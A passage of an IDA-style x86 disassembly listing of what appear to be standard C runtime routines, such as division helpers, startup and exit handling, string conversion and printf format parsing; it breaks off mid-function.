arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_417791
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_417791: ; CODE XREF: sub_417770+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_4177AD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_4177AD: ; CODE XREF: sub_417770+27j
or eax, eax
jnz short loc_4177C9
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41780A
; ---------------------------------------------------------------------------
loc_4177C9: ; CODE XREF: sub_417770+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4177D7: ; CODE XREF: sub_417770+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4177D7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_417805
cmp edx, [esp+0Ch+arg_4]
ja short loc_417805
jb short loc_417806
cmp eax, [esp+0Ch+arg_0]
jbe short loc_417806
loc_417805: ; CODE XREF: sub_417770+85j
; sub_417770+8Bj
dec esi
loc_417806: ; CODE XREF: sub_417770+8Dj
; sub_417770+93j
xor edx, edx
mov eax, esi
loc_41780A: ; CODE XREF: sub_417770+57j
dec edi
jnz short loc_417814
neg edx
neg eax
sbb edx, 0
loc_417814: ; CODE XREF: sub_417770+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_417770 endp
; =============== S U B R O U T I N E =======================================
sub_41781A proc near ; CODE XREF: .text:00417BABp
mov eax, off_4383BC
test eax, eax
jz short loc_417825
call eax ; sub_415DD3
loc_417825: ; CODE XREF: sub_41781A+7j
push offset dword_423028
push offset dword_423014
call sub_417902
push offset dword_423010
push offset dword_423000
call sub_417902
add esp, 10h
retn
sub_41781A endp
; =============== S U B R O U T I N E =======================================
sub_417847 proc near ; CODE XREF: .text:00417BEAp
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_417869
add esp, 0Ch
retn
sub_417847 endp
; =============== S U B R O U T I N E =======================================
sub_417858 proc near ; CODE XREF: .text:00417C09p
; sub_417C0E+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_417869
add esp, 0Ch
retn
sub_417858 endp
; =============== S U B R O U T I N E =======================================
sub_417869 proc near ; CODE XREF: sub_417847+8p
; sub_417858+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_46BB4C, edi
jnz short loc_417886
push [esp+4+arg_0]
call dword_421104 ; GetCurrentProcess
push eax
call dword_421140 ; TerminateProcess
loc_417886: ; CODE XREF: sub_417869+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_46BB48, edi
mov byte_46BB44, bl
jnz short loc_4178DA
mov eax, dword_46D17C
test eax, eax
jz short loc_4178C9
mov ecx, dword_46D178
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_4178C8
loc_4178B5: ; CODE XREF: sub_417869+5Dj
mov eax, [esi]
test eax, eax
jz short loc_4178BD
call eax
loc_4178BD: ; CODE XREF: sub_417869+50j
sub esi, 4
cmp esi, dword_46D17C
jnb short loc_4178B5
loc_4178C8: ; CODE XREF: sub_417869+4Aj
pop esi
loc_4178C9: ; CODE XREF: sub_417869+3Cj
push offset dword_423034
push offset dword_42302C
call sub_417902
pop ecx
pop ecx
loc_4178DA: ; CODE XREF: sub_417869+33j
push offset dword_423040
push offset dword_423038
call sub_417902
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_417900
push [esp+4+arg_0]
mov dword_46BB4C, edi
call dword_421114 ; ExitProcess
loc_417900: ; CODE XREF: sub_417869+85j
pop edi
retn
sub_417869 endp
; =============== S U B R O U T I N E =======================================
sub_417902 proc near ; CODE XREF: sub_41781A+15p
; sub_41781A+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_417907: ; CODE XREF: sub_417902+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41791A
mov eax, [esi]
test eax, eax
jz short loc_417915
call eax
loc_417915: ; CODE XREF: sub_417902+Fj
add esi, 4
jmp short loc_417907
; ---------------------------------------------------------------------------
loc_41791A: ; CODE XREF: sub_417902+9j
pop esi
retn
sub_417902 endp
; =============== S U B R O U T I N E =======================================
sub_41791C proc near ; CODE XREF: sub_40CD3A+29D7p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_421118 ; DeleteFileA
test eax, eax
jnz short loc_417932
call dword_421088 ; RtlGetLastWin32Error
jmp short loc_417934
; ---------------------------------------------------------------------------
loc_417932: ; CODE XREF: sub_41791C+Cj
xor eax, eax
loc_417934: ; CODE XREF: sub_41791C+14j
test eax, eax
jz short loc_417943
push eax
call sub_41CE74
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_417943: ; CODE XREF: sub_41791C+1Aj
xor eax, eax
retn
sub_41791C endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417950 proc near ; CODE XREF: sub_4129E5+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41799C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41799D
test eax, 1
jz short loc_41797D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_4179CA
inc esi
inc edi
dec eax
jz short loc_41799A
loc_41797D: ; CODE XREF: sub_417950+20j
; sub_417950+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_4179CA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_4179CA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41797D
loc_41799A: ; CODE XREF: sub_417950+2Bj
; sub_417950+84j
pop edi
pop esi
locret_41799C: ; CODE XREF: sub_417950+6j
retn
; ---------------------------------------------------------------------------
loc_41799D: ; CODE XREF: sub_417950+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_4179D2
repe cmpsd
jz short loc_4179D2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_4179C5
cmp ch, dh
jnz short loc_4179C5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_4179C5
cmp ch, dh
loc_4179C5: ; CODE XREF: sub_417950+63j
; sub_417950+67j ...
mov eax, 0
loc_4179CA: ; CODE XREF: sub_417950+26j
; sub_417950+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4179D2: ; CODE XREF: sub_417950+55j
; sub_417950+59j
test eax, eax
jz short loc_41799A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_4179C5
dec eax
jz short loc_4179F9
cmp dh, ch
jnz short loc_4179C5
dec eax
jz short loc_4179F9
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_4179C5
dec eax
loc_4179F9: ; CODE XREF: sub_417950+8Fj
; sub_417950+96j
pop edi
pop esi
retn
sub_417950 endp
; =============== S U B R O U T I N E =======================================
sub_4179FC proc near ; CODE XREF: sub_413B27+55p
; sub_414500+238p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_417A13
loc_417A09: ; CODE XREF: sub_4179FC+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_417A09
loc_417A13: ; CODE XREF: sub_4179FC+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_4179FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A19 proc near ; CODE XREF: sub_413B27+19p
; sub_413B27+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_417AE6
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_417B13
cmp dword_46BB9C, esi
jnz short loc_417A6A
cmp edi, esi
jbe loc_417B13
loc_417A49: ; CODE XREF: sub_417A19+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_417B13
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_417A49
jmp loc_417B13
; ---------------------------------------------------------------------------
loc_417A6A: ; CODE XREF: sub_417A19+26j
mov ebx, [ebp+arg_4]
mov esi, dword_421064
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_46BBAC
call esi ; MultiByteToWideChar
test eax, eax
jnz loc_417B12
call dword_421088 ; RtlGetLastWin32Error
cmp eax, 7Ah
jz short loc_417AA4
loc_417A95: ; CODE XREF: sub_417A19+CBj
; sub_417A19+F7j
mov dword_46BB04, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_417B13
; ---------------------------------------------------------------------------
loc_417AA4: ; CODE XREF: sub_417A19+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_417AAC: ; CODE XREF: sub_417A19+B3j
mov cl, [eax]
test cl, cl
jz short loc_417ACE
mov edx, off_4383F0
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_417AC3
inc eax
loc_417AC3: ; CODE XREF: sub_417A19+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_417AAC
loc_417ACE: ; CODE XREF: sub_417A19+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_46BBAC
call esi ; MultiByteToWideChar
test eax, eax
jnz short loc_417B13
jmp short loc_417A95
; ---------------------------------------------------------------------------
loc_417AE6: ; CODE XREF: sub_417A19+Fj
cmp dword_46BB9C, esi
jnz short loc_417AF9
push [ebp+arg_4]
call sub_415B10
pop ecx
jmp short loc_417B13
; ---------------------------------------------------------------------------
loc_417AF9: ; CODE XREF: sub_417A19+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_46BBAC
call dword_421064 ; MultiByteToWideChar
cmp eax, esi
jz short loc_417A95
loc_417B12: ; CODE XREF: sub_417A19+6Bj
dec eax
loc_417B13: ; CODE XREF: sub_417A19+1Aj
; sub_417A19+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_417A19 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421678
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call dword_42116C ; GetVersion
xor edx, edx
mov dl, ah
mov dword_46BB1C, edx
mov ecx, eax
and ecx, 0FFh
mov dword_46BB18, ecx
shl ecx, 8
add ecx, edx
mov dword_46BB14, ecx
shr eax, 10h
mov dword_46BB10, eax
xor esi, esi
push esi
call sub_418C18
pop ecx
test eax, eax
jnz short loc_417B84
push 1Ch
call sub_417C33
pop ecx
loc_417B84: ; CODE XREF: .text:00417B7Aj
mov [ebp-4], esi
call sub_41D4EF
call dword_421168 ; GetCommandLineA
mov dword_46D16C, eax
call sub_41D3BD
mov dword_46BB50, eax
call sub_41D170
call sub_41D0B7
call sub_41781A
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call dword_421164 ; GetStartupInfoA
call sub_41D05F
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_417BD1
movzx eax, word ptr [ebp-2Ch]
jmp short loc_417BD4
; ---------------------------------------------------------------------------
loc_417BD1: ; CODE XREF: .text:00417BC9j
push 0Ah
pop eax
loc_417BD4: ; CODE XREF: .text:00417BCFj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call dword_4210C8 ; GetModuleHandleA
push eax
call sub_40C574
mov [ebp-60h], eax
push eax
call sub_417847
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_41CEDB
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_417858
; =============== S U B R O U T I N E =======================================
sub_417C0E proc near ; CODE XREF: sub_4166E2+16p
; sub_41D0B7+4Ep ...
arg_0 = dword ptr 4
cmp dword_46BB58, 1
jnz short loc_417C1C
call sub_41D77C
loc_417C1C: ; CODE XREF: sub_417C0E+7j
push [esp+arg_0]
call sub_41D7B5
push 0FFh
call off_4383E0
pop ecx
pop ecx
retn
sub_417C0E endp
; =============== S U B R O U T I N E =======================================
sub_417C33 proc near ; CODE XREF: .text:00417B7Ep
arg_0 = dword ptr 4
cmp dword_46BB58, 1
jnz short loc_417C41
call sub_41D77C
loc_417C41: ; CODE XREF: sub_417C33+7j
push [esp+arg_0]
call sub_41D7B5
pop ecx
push 0FFh
call dword_421114 ; ExitProcess
retn
sub_417C33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417C57 proc near ; CODE XREF: sub_415316+46p
; sub_41588A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_417D60
test al, 40h
jnz loc_417D60
test al, 1
jz short loc_417C8F
and dword ptr [esi+4], 0
test al, 10h
jz loc_417D60
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_417C8F: ; CODE XREF: sub_417C57+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_417CC9
cmp esi, offset dword_43AB28
jz short loc_417CB7
cmp esi, offset dword_43AB48
jnz short loc_417CC2
loc_417CB7: ; CODE XREF: sub_417C57+56j
push ebx
call sub_41D94C
test eax, eax
pop ecx
jnz short loc_417CC9
loc_417CC2: ; CODE XREF: sub_417C57+5Ej
push esi
call sub_41D908
pop ecx
loc_417CC9: ; CODE XREF: sub_417C57+4Ej
; sub_417C57+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_417D36
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_417CF9
push edi
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_417D2C
; ---------------------------------------------------------------------------
loc_417CF9: ; CODE XREF: sub_417C57+90j
cmp ebx, 0FFFFFFFFh
jz short loc_417D14
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_46CE20[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_417D19
; ---------------------------------------------------------------------------
loc_417D14: ; CODE XREF: sub_417C57+A5j
mov eax, offset dword_43AA70
loc_417D19: ; CODE XREF: sub_417C57+BBj
test byte ptr [eax+4], 20h
jz short loc_417D2C
push 2
push 0
push ebx
call sub_41C447
add esp, 0Ch
loc_417D2C: ; CODE XREF: sub_417C57+A0j
; sub_417C57+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_417D4A
; ---------------------------------------------------------------------------
loc_417D36: ; CODE XREF: sub_417C57+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41CCC7
add esp, 0Ch
mov [ebp+arg_4], eax
loc_417D4A: ; CODE XREF: sub_417C57+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_417D56
or dword ptr [esi+0Ch], 20h
jmp short loc_417D65
; ---------------------------------------------------------------------------
loc_417D56: ; CODE XREF: sub_417C57+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_417D68
; ---------------------------------------------------------------------------
loc_417D60: ; CODE XREF: sub_417C57+10j
; sub_417C57+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_417D65: ; CODE XREF: sub_417C57+FDj
or eax, 0FFFFFFFFh
loc_417D68: ; CODE XREF: sub_417C57+107j
pop esi
pop ebx
pop ebp
retn
sub_417C57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D6C proc near ; CODE XREF: sub_415316+29p
; sub_41588A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_418485
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_417DA0
; ---------------------------------------------------------------------------
loc_417D98: ; CODE XREF: sub_417D6C+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_417DA0: ; CODE XREF: sub_417D6C+2Aj
cmp [ebp+var_14], edx
jl loc_418485
cmp bl, 20h
jl short loc_417DC1
cmp bl, 78h
jg short loc_417DC1
movsx eax, bl
mov al, [eax+421664h]
and eax, 0Fh
jmp short loc_417DC3
; ---------------------------------------------------------------------------
loc_417DC1: ; CODE XREF: sub_417D6C+40j
; sub_417D6C+45j
xor eax, eax
loc_417DC3: ; CODE XREF: sub_417D6C+53j
movsx eax, byte_421684[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_418474 ; default
jmp off_41848D[eax*4] ; switch jump
loc_417DE1: ; DATA XREF: .text:off_41848Do
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DDA case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417DFC: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
movsx eax, bl ; jumptable 00417DDA case 2
sub eax, 20h
jz short loc_417E3F
sub eax, 3
jz short loc_417E36
sub eax, 8
jz short loc_417E2D
dec eax
dec eax
jz short loc_417E24
sub eax, 3
jnz loc_418474 ; default
or [ebp+var_4], 8
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E24: ; CODE XREF: sub_417D6C+A4j
or [ebp+var_4], 4
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E2D: ; CODE XREF: sub_417D6C+A0j
or [ebp+var_4], 1
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E36: ; CODE XREF: sub_417D6C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E3F: ; CODE XREF: sub_417D6C+96j
or [ebp+var_4], 2
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E48: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
cmp bl, 2Ah ; jumptable 00417DDA case 3
jnz short loc_417E70
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_418474 ; default
or [ebp+var_4], 4
neg eax
loc_417E68: ; CODE XREF: sub_417D6C+111j
mov [ebp+var_20], eax
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E70: ; CODE XREF: sub_417D6C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_417E68
; ---------------------------------------------------------------------------
loc_417E7F: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
mov [ebp+var_10], edx ; jumptable 00417DDA case 4
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E87: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
cmp bl, 2Ah ; jumptable 00417DDA case 5
jnz short loc_417EAA
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_418474 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EAA: ; CODE XREF: sub_417D6C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EBC: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
cmp bl, 49h ; jumptable 00417DDA case 6
jz short loc_417EEF
cmp bl, 68h
jz short loc_417EE6
cmp bl, 6Ch
jz short loc_417EDD
cmp bl, 77h
jnz loc_418474 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EDD: ; CODE XREF: sub_417D6C+15Dj
or [ebp+var_4], 10h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EE6: ; CODE XREF: sub_417D6C+158j
or [ebp+var_4], 20h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EEF: ; CODE XREF: sub_417D6C+153j
cmp byte ptr [edi], 36h
jnz short loc_417F08
cmp byte ptr [edi+1], 34h
jnz short loc_417F08
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417F08: ; CODE XREF: sub_417D6C+186j
; sub_417D6C+18Cj
mov [ebp+var_30], edx
loc_417F0B: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
mov ecx, off_4383F0 ; jumptable 00417DDA case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417F37
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4184AD
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_417F37: ; CODE XREF: sub_417D6C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4184AD
add esp, 0Ch
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417F4F: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: .text:off_41848Do
movsx eax, bl ; jumptable 00417DDA case 7
cmp eax, 67h
jg loc_418177
cmp eax, 65h
jge loc_417FFA
cmp eax, 58h
jg loc_418058
jz loc_4181EB
sub eax, 43h
jz loc_41801B
dec eax
dec eax
jz short loc_417FF0
dec eax
dec eax
jz short loc_417FF0
sub eax, 0Ch
jnz loc_418376
test word ptr [ebp+var_4], 830h
jnz short loc_417F99
or byte ptr [ebp+var_4+1], 8
loc_417F99: ; CODE XREF: sub_417D6C+227j
; sub_417D6C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_417FA6
mov esi, 7FFFFFFFh
loc_417FA6: ; CODE XREF: sub_417D6C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_4181BF
test ecx, ecx
jnz short loc_417FCE
mov ecx, off_4383EC
mov [ebp+var_8], ecx
loc_417FCE: ; CODE XREF: sub_417D6C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_417FD7: ; CODE XREF: sub_417D6C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_4181B6
cmp word ptr [eax], 0
jz loc_4181B6
inc eax
inc eax
jmp short loc_417FD7
; ---------------------------------------------------------------------------
loc_417FF0: ; CODE XREF: sub_417D6C+212j
; sub_417D6C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_417FFA: ; CODE XREF: sub_417D6C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4180DE
mov [ebp+var_10], 6
jmp loc_4180EC
; ---------------------------------------------------------------------------
loc_41801B: ; CODE XREF: sub_417D6C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_418027
or byte ptr [ebp+var_4+1], 8
loc_418027: ; CODE XREF: sub_417D6C+2B5j
; sub_417D6C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41806E
call sub_418568
push eax
lea eax, [ebp+var_248]
push eax
call sub_41DA2B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_418081
mov [ebp+var_28], 1
jmp short loc_418081
; ---------------------------------------------------------------------------
loc_418058: ; CODE XREF: sub_417D6C+1FBj
sub eax, 5Ah
jz short loc_41808F
sub eax, 9
jz short loc_418027
dec eax
jz loc_418251
jmp loc_418376
; ---------------------------------------------------------------------------
loc_41806E: ; CODE XREF: sub_417D6C+2C5j
call sub_41854B
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_418081: ; CODE XREF: sub_417D6C+2E1j
; sub_417D6C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_418376
; ---------------------------------------------------------------------------
loc_41808F: ; CODE XREF: sub_417D6C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
jz short loc_4180D0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4180D0
test byte ptr [ebp+var_4+1], 8
jz short loc_4180C1
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_418376
; ---------------------------------------------------------------------------
loc_4180C1: ; CODE XREF: sub_417D6C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4180D0: ; CODE XREF: sub_417D6C+32Fj
; sub_417D6C+336j
mov eax, off_4383E8
mov [ebp+var_8], eax
push eax
jmp loc_41816C
; ---------------------------------------------------------------------------
loc_4180DE: ; CODE XREF: sub_417D6C+29Dj
jnz short loc_4180EC
cmp bl, 67h
jnz short loc_4180EC
mov [ebp+var_10], 1
loc_4180EC: ; CODE XREF: sub_417D6C+2AAj
; sub_417D6C:loc_4180DEj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43A750
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41813E
cmp [ebp+var_10], 0
jnz short loc_41813E
lea eax, [ebp+var_248]
push eax
call off_43A75C
pop ecx
loc_41813E: ; CODE XREF: sub_417D6C+3BCj
; sub_417D6C+3C2j
cmp bl, 67h
jnz short loc_418155
test esi, esi
jnz short loc_418155
lea eax, [ebp+var_248]
push eax
call off_43A754
pop ecx
loc_418155: ; CODE XREF: sub_417D6C+3D5j
; sub_417D6C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41816B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41816B: ; CODE XREF: sub_417D6C+3F0j
push edi
loc_41816C: ; CODE XREF: sub_417D6C+36Dj
call sub_415B10
pop ecx
jmp loc_418373
; ---------------------------------------------------------------------------
loc_418177: ; CODE XREF: sub_417D6C+1E9j
sub eax, 69h
jz loc_418251
sub eax, 5
jz loc_418227
dec eax
jz loc_418214
dec eax
jz short loc_4181E4
sub eax, 3
jz loc_417F99
dec eax
dec eax
jz loc_418255
sub eax, 3
jnz loc_418376
mov [ebp+var_2C], 27h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181B6: ; CODE XREF: sub_417D6C+270j
; sub_417D6C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4181BF: ; CODE XREF: sub_417D6C+24Fj
test ecx, ecx
jnz short loc_4181CC
mov ecx, off_4383E8
mov [ebp+var_8], ecx
loc_4181CC: ; CODE XREF: sub_417D6C+455j
